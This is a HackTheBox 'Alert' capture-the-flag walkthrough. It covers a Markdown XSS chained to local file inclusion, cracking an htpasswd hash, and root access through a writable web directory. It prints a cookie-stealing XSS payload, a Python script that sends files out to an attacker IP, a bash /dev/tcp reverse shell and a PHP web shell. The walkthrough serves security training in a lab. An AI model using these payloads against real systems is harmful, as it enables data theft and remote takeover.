Alert – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
“Alert” is an Easy box from HackTheBox
platform. The victim machine is running a web server that accepts Markdown
files which are displayed at the website. These Markdown
files can contain a Cross-Site Scripting
(XSS
) payload. Eventually, this vulnerability allow us to execute another forbidden webpage which is also vulnerable to Local File Inclusion
. Reading internal files we are able to find another internal subdomain. This subdomain has a file which contains a hash. We are able to crack this hash and use this password to gain access to the victim machine as a user. Once inside, we are able to see that the victim machine is running an internal web server as root
. Our impersonated user is in a group that can write files in this web server. This allow us to write a malicious file in the server, execute system commands as root
and gain access to this user.
User Link to heading
We start with a quick Nmap
scan:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.44
We find only 2 ports open: 22
SSH
and 80
HTTP
. We apply some recognition scans over these ports using -sVC
over these ports:
❯ sudo nmap -sVC -p22,80 10.10.11.44
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 00:26 -03
Nmap scan report for 10.10.11.44
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.42 seconds
From the scan we can see that connection to port 80
HTTP
redirects to the site alert.htb
. We add this domain to our /etc/hosts
file running in a terminal:
❯ echo '10.10.11.44 alert.htb' | sudo tee -a /etc/hosts
Using WhatWeb
against the site shows that, when we make a request to http://alert.htb
it will redirect us to http://alert.htb/index.php?page=alert
:
❯ whatweb -a 3 http://alert.htb
http://alert.htb [302 Found] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], RedirectLocation[index.php?page=alert], Title[Alert - Markdown Viewer]
http://alert.htb/index.php?page=alert [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], Title[Alert - Markdown Viewer]
Then, visiting http://alert.htb
in a web browser shows a page where we are allowed to upload Markdown
files:
We can easily create a Markdown
file in our terminal:
❯ echo -e '# test\n## testing\nThis is a **test**' > test.md
❯ cat test.md
# test
## testing
This is a **test**
If we upload this file to the page and click on View Markdown
we can see the file being interpreted:
At the bottom right we have a Share Markdown
option.
Usually pages that interpret Markdown
files use JavaScript
to interpret and display different attributes (like bold text, headers, etc). Therefore, we could see if this page is vulnerable to Cross Site Scripting
(XSS
). We create a simple xss.md
file with the content:
<script>prompt(8)</script>
We upload xss.md
, click on View Markdown
and we can see:
Actually, the name Alert
of the victim machine tells us a hint indicating this could be vulnerable to XSS
since a common payload to check this vulnerability is
<script>alert('xss')</script>
But we got nothing besides that.
To check if there is an administrator site or something similar that we can use to steal a cookie or important info we can search, first, for hidden directories through a Directory Listing
with Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://alert.htb -x php -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://alert.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 274]
/index.php (Status: 302) [Size: 660] [--> index.php?page=alert]
/uploads (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
/contact.php (Status: 200) [Size: 24]
/css (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/messages (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/messages.php (Status: 200) [Size: 1]
We get a site messages.php
.
Also, looking at the main webpage, if we want to go to contact
it uses ?page=contact
path; if we want to go to About Us
, it uses ?page=about
and so on… So we can use a tool like ffuf
to also search for potential files in this way:
❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u 'http://alert.htb/index.php?page=FUZZ' -fs 690
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://alert.htb/index.php?page=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 690
________________________________________________
about [Status: 200, Size: 1046, Words: 187, Lines: 24, Duration: 4132ms]
contact [Status: 200, Size: 1000, Words: 191, Lines: 29, Duration: 4928ms]
donate [Status: 200, Size: 1116, Words: 292, Lines: 29, Duration: 245ms]
messages [Status: 200, Size: 661, Words: 123, Lines: 25, Duration: 238ms]
alert [Status: 200, Size: 966, Words: 201, Lines: 29, Duration: 242ms]
We have, again, messages
page.
messages
is particularly interesting because there is no tab/option in the main webpage that redirect us to this page. Visiting http://alert.htb/index.php?page=messages
just show a page like the main webpage, but without the option to upload the Markdown
file:
We note that at Contact Us
we can send a message:
Also, About Us
page shows an interesting message:
Hello! We are Alert. Our service gives you the ability to view MarkDown. We are reliable, secure, fast and easy to use. If you experience any problems with our service, please let us know. Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours. Thank you for using our service!
So it is possible that someone is checking Contact us
messages periodically.
We try a simple XSS
payload to steal a cookie:
<img src=x onerror=fetch("http://10.10.16.3:8000/"+document.cookie);>
and append it in the “message” field for Contact
and use any random mail. We start a temporal HTTP
server with Python
on port 8000
:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and send the XSS
in Contact Us
. We get something:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.44 - - [28/Nov/2024 01:27:20] code 404, message File not found
10.10.11.44 - - [28/Nov/2024 01:27:20] "GET /"+document.cookie);> HTTP/1.1" 404 -
So something or someone opened the message and it was vulnerable to XSS
. Additionally, we get the text message File
not found. This could mean that message
page is expecting a file
parameter.
We can craft a payload that requests files through file
parameter to messages.php
file previously found. For this we can try the payload in a Markdown
file:
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../etc/passwd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.16.3:8000/?encodedData=" + btoa(data));
});
</script>
and save it as payload.md
.
If we upload this to Markdown
converter nothing happens. We just get a null byte in our Python
HTTP
server. But if we copy the shared link generated for payload.md
file and send it through the Contact Us
form:
We get something in our Python
HTTP
server:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.44 - - [28/Nov/2024 02:41:56] "GET /?encodedData=PHByZT5<SNIP>U+Cg== HTTP/1.1" 200 -
We get a message encoded in base64
, just as our payload specified.
Decoding this message we get:
❯ echo PHByZT5<SNIP>U+Cg== | base64 -d
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<SNIP>
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>
We can read system files. Therefore, we can chain XSS
payload and convert it into a Local File Inclusion
(LFI
).
Since we have many files to read we have to:
- Generate a
Markdown
file and set its content to the file we want to read. - Upload the generated payload to the
Markdown
converter to generate a share link. - Send this link to
Contact Us
form. - Decode the content obtained from
base64
.
To automatize all of this, I have created the following Python
script after intercepting the request sent for the payloads with Burpsuite
to see what happens. Our script is:
import requests
import re
import argparse
import sys
import asyncio
import base64
def parse_arguments():
"""
Get parameters froms user
"""
parser = argparse.ArgumentParser(description="Request files to read files at HTB Alert Machine (XSS to LFI).")
parser.add_argument("-i", "--attacker-ip", type=str, help="Our attacker IP address to send the extracted data.", required=True)
parser.add_argument("-f" ,"--filename", type=str, help="Name of the file to read (absolute path, e.g., '/etc/passwd')", required=True)
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
return parser.parse_args()
def post_payload(url: str, file_to_read: str, attacker_ip: str)->str|None:
"""
Post XSS Payload to Markdown converter to generate a share link
"""
post_url = f"{url}/visualizer.php"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "multipart/form-data; boundary=---------------------------302486761919196570801058130125",
"Origin": url,
"DNT": "1",
"Connection": "close",
"Referer": f"{url}/index.php?page=alert",
"Upgrade-Insecure-Requests": "1"}
data = f"-----------------------------302486761919196570801058130125\r\nContent-Disposition: form-data; name=\"file\"; filename=\"payload.md\"\r\nContent-Type: text/markdown\r\n\r\n<script>\nfetch(\"http://alert.htb/messages.php?file=../../../../../../..{file_to_read}\")\n .then(response => response.text())\n .then(data => {{\n fetch(\"http://{attacker_ip}:8000/?encodedData=\" + btoa(data));\n }});\n</script>\n\r\n-----------------------------302486761919196570801058130125--\r\n"
r = requests.post(post_url, headers=headers, data=data)
if r.status_code != 200:
print(f"[-] Got invalid status code for POST request uploading the Markdown file. Status code {r.status_code}. Please check and retry...")
sys.exit(1)
# Use regular expressions to get the share link
match = re.search(r'link_share=([^\"]+)', r.text)
if match:
share_link: str = f'http://alert.htb/visualizer.php?link_share={match.group(1)}'
print(f"[+] Share link: {share_link}")
return share_link
print(f"[-] No share link found. This is the response text:{100*'='}\n{r.text}\n{100*'='}\nPlease check and retry...")
sys.exit(1)
def send_XSS(url: str, share_link: str):
post_url = f"{url}/contact.php"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://alert.htb", "DNT": "1", "Connection": "close", "Referer": "http://alert.htb/index.php?page=contact&status=Message%20sent%20successfully!", "Upgrade-Insecure-Requests": "1"}
data = {"email": "test@test.com",
"message": share_link}
print("[+] Sending request to contact form...")
requests.post(post_url, headers=headers, data=data)
async def start_server(verbose_option: bool = False):
"""
Starts an asynchronous HTTP server to capture the GET request and process encoded data.
"""
async def handle_request(reader, writer, verbose_option=verbose_option):
# Read the incoming HTTP request
data = await reader.read(8192)
request = data.decode()
# Use regex to extract the 'encodedData' parameter value
match = re.search(r'encodedData=([^ ]+)', request)
if match:
encoded_data = match.group(1)
if verbose_option:
print(f"[+] Encoded Data:\n{encoded_data}")
# Decode the base64-encoded data
try:
decoded_data = base64.b64decode(encoded_data).decode()
if decoded_data.startswith('<pre>'):
decoded_data = re.sub('<pre>', '', decoded_data)
if " ".join(decoded_data.split()).endswith('</pre>'):
decoded_data = re.sub('</pre>', '', decoded_data)
print(f"[+] Decoded Data:\n{100*'='}\n\n{decoded_data}\n{100*'='}")
except Exception as e:
print(f"[-] Failed to decode data: {e}")
writer.close()
await writer.wait_closed()
# Start the HTTP server
server = await asyncio.start_server(handle_request, '', 8000)
addr = server.sockets[0].getsockname()
print(f"[+] Serving server on {addr}")
# Run the server for 6 seconds, then shut it down
await asyncio.sleep(6)
server.close()
await server.wait_closed()
print("[+] Shutting down server.")
async def main():
# Get arguments from user
args = parse_arguments()
# Set machine url
url: str = 'http://alert.htb'
# Start an HTTP server asynchronously to get requests
server_task = asyncio.create_task(start_server(args.verbose))
# Wait briefly to ensure the server is running
await asyncio.sleep(1)
# Here starts the attack. Get share link after using Markdown converter.
share_link: str = post_payload(url, args.filename, args.attacker_ip)
# Send the share link to contact form to trigger LFI
send_XSS(url, share_link)
# Wait for the server to shut down
await server_task
if __name__ == "__main__":
asyncio.run(main())
The script starts an asynchronous HTTP
server on port 8000
to ensure we are not starting the server too late after we send the data to Contact Us
form; and automatically decodes the GET
request obtained to our attacker machine.
Using this script works:
❯ python3 exploit.py -i '10.10.16.3' -f '/etc/passwd'
[+] Serving server on ('0.0.0.0', 8000)
[+] Share link: http://alert.htb/visualizer.php?link_share=67480d426ccb26.90381770.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
We find 2 users albert
and david
. But we are not allowed to read their SSH
keys (if they have one).
If we check /etc/hosts
file. We can see we have a site statistics.alert.htb
:
❯ python3 exploit.py -i '10.10.16.3' -f '/etc/hosts'
[+] Serving server on ('0.0.0.0', 8000)
[+] Share link: http://alert.htb/visualizer.php?link_share=67481086107f17.22542002.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================
127.0.0.1 localhost
127.0.1.1 alert
127.0.0.1 alert.htb
127.0.0.1 statistics.alert.htb
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
====================================================================================================
[+] Shutting down server.
We add this subdomain to our /etc/hosts
file, so now it looks like:
❯ tail -n1 /etc/hosts
10.10.11.44 alert.htb statistics.alert.htb
Visiting then http://statistics.alert.htb
just spawns a HTTP
login request windows:
But we don’t have credentials for the moment.
Since the server is running a web server we can attempt to read files at its /var/www/html
or /var/www/<domain>
directory, where files are usually located. If we try to read index.php
file, that we know already exists in the webserver we get:
❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/alert.htb/index.php'
[+] Serving server on ('::', 8000, 0, 0)
[+] Share link: http://alert.htb/visualizer.php?link_share=67481293ef7051.33525204.md
[+] Sending request to contact form...
[-] Failed to decode data: 'utf-8' codec can't decode byte 0xa9 in position 3161: invalid start byte
[+] Shutting down server.
and if we add the -v
(verbose) option to see the original encoded payload we get:
❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/alert.htb/index.php' -v
<SNIP>
[+] Encoded Data:
PHByZT48IUR<SNNIP>mU+Cg==
<SNIP>
or we can see the content of message.php
:
❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/alert.htb/messages.php'
[+] Serving server on ('::', 8000, 0, 0)
[+] Share link: http://alert.htb/visualizer.php?link_share=6748133bc88f41.46614457.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================
<?php
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == '127.0.0.1' || $ip == '::1') {
$directory = "messages/";
$messages = glob($directory . "*.txt");
if (isset($_GET['file'])) {
$file = $_GET['file'];
echo "" . file_get_contents($directory . $file) . "";
} else {
echo "<h1>Messages</h1>";
if (count($messages) > 0) {
echo "<ul>";
foreach ($messages as $message) {
$filename = basename($message);
echo "<li><a href='messages.php?file=$filename'>$filename</a></li>";
}
echo "</ul>";
} else {
echo "No messages found.";
}
}
}
?>
====================================================================================================
[+] Shutting down server.
Basically, we know know that files are located at /var/www/alert.htb
. Unfortunately, there is not a config.php
file. But we still have statistics.alert.htb
domain. Eventually, we find a really interesting file at the subdomain directory /var/www/statistics.alert.htb
:
❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/statistics.alert.htb/.htpasswd'
[+] Serving server on ('::', 8000, 0, 0)
[+] Share link: http://alert.htb/visualizer.php?link_share=674813f8d9ce24.22562491.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
====================================================================================================
[+] Shutting down server.
.htpasswd
is a file for Apache
servers. We got a hash.
We save this hash in a file as albert_hash
and crack it using Hashcat
, whose mode to crack this hash is 1600
based on its example hashes (and also using --username
to avoid albert:
at the beginning of the hash):
❯ cat albert_hash
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
❯ hashcat -a 0 -m 1600 albert_hash /usr/share/wordlists/rockyou.txt --username
hashcat (v6.2.6) starting
<SNIP>
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
<SNIP>
We got credentials: albert:manchesterunited
.
We check if these credentials work for SSH
using NetExec
:
❯ nxc ssh 10.10.11.44 -u albert -p 'manchesterunited'
SSH 10.10.11.44 22 10.10.11.44 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH 10.10.11.44 22 10.10.11.44 [+] albert:manchesterunited Linux - Shell access!
They worked!
Use them to gain access through SSH
into the victim machine:
❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no albert@10.10.11.44
<SNIP>
albert@alert:~$
We can get the user flag.
Root Link to heading
If we check internal ports of the victim machine we can see that port 8080
is open:
albert@alert:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 511 *:80 *:*
We can check if this is a service running an internal website checking it with cURL
:
albert@alert:~$ curl -s http://127.0.0.1:8080 | head
<!DOCTYPE html>
<html lang="en">
<head>
<title>Website Monitor</title>
<meta charset="utf-8">
<meta name="theme-color" content="#212529">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="style.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/chart.js@3.8.2/dist/chart.min.js" crossorigin="anonymous"></script>
</head>
It responded. So it is a website.
Log out from the current SSH
session to establish a tunnel with a Local Port Forwarding
to convert port 8080
of the current machine in port 8080
of our localhost
:
❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 albert@10.10.11.44
Visiting then http://127.0.0.1:8080
in a web browser like Firefox
shows a webpage:
The site is running Website Monitor
, as we can see at the bottom of this page a description for it.
A simple website or web service monitor.
Insane description.
If we check running processes we can see that this process is being executed by root
:
albert@alert:~$ ps aux | grep root | grep web
root 996 0.0 0.6 207156 26596 ? Ss 00:08 0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
root 1012 0.0 0.0 2636 796 ? S 00:08 0:00 inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
The site is running at /opt/website-monitor
:
albert@alert:~$ ls -la /opt/website-monitor/
total 96
drwxrwxr-x 7 root root 4096 Oct 12 01:07 .
drwxr-xr-x 4 root root 4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management 4096 Oct 12 04:17 config
drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates
management
group can write at /opt/website-monitor/config
directory.
albert
is part of this group:
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
We cannot write at Website Monitor
main directory, but, as we have seen, we can at /opt/website-monitor/config
:
albert@alert:~$ echo 'test' > /opt/website-monitor/test
-bash: /opt/website-monitor/test: Permission denied
albert@alert:~$ echo 'test' > /opt/website-monitor/config/test
We can write try to write a simple PHP
file in the server:
albert@alert:~$ echo '<?php echo "Hello there";?>' > /opt/website-monitor/config/test.php
and check if it is there:
❯ curl -s 'http://127.0.0.1:8080/config/test.php'
Hello there
It is.
So let’s create a PHP
file that send us a reverse shell. Create an encoded payload in base64
:
❯ echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.3/443 0>&1"' | base64 -w0
L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDMgMD4mMSIK
where, again, 10.10.16.3
is our attacker IP and 443
the port we will start listening with netcat
.
Then, in the victim machine write the payload in a file:
albert@alert:~$ echo '<?php shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDMgMD4mMSIK"));?>' > /opt/website-monitor/config/gunzf0x.php
where we are writing the PHP
file:
<?php shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDMgMD4mMSIK"));?>
with our encoded payload.
Start a listener with netcat
on port 443
(executing nc -lvnp 443
) and then just visit the malicious webpage:
albert@alert:~$ curl -s http://127.0.0.1:8080/config/gunzf0x.php
and we get a shell as root
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.44] 45984
bash: cannot set terminal process group (996): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:/opt/website-monitor/config# whoami
whoami
root
GG. We can read the root
flag at /root
directory.
~Happy Hacking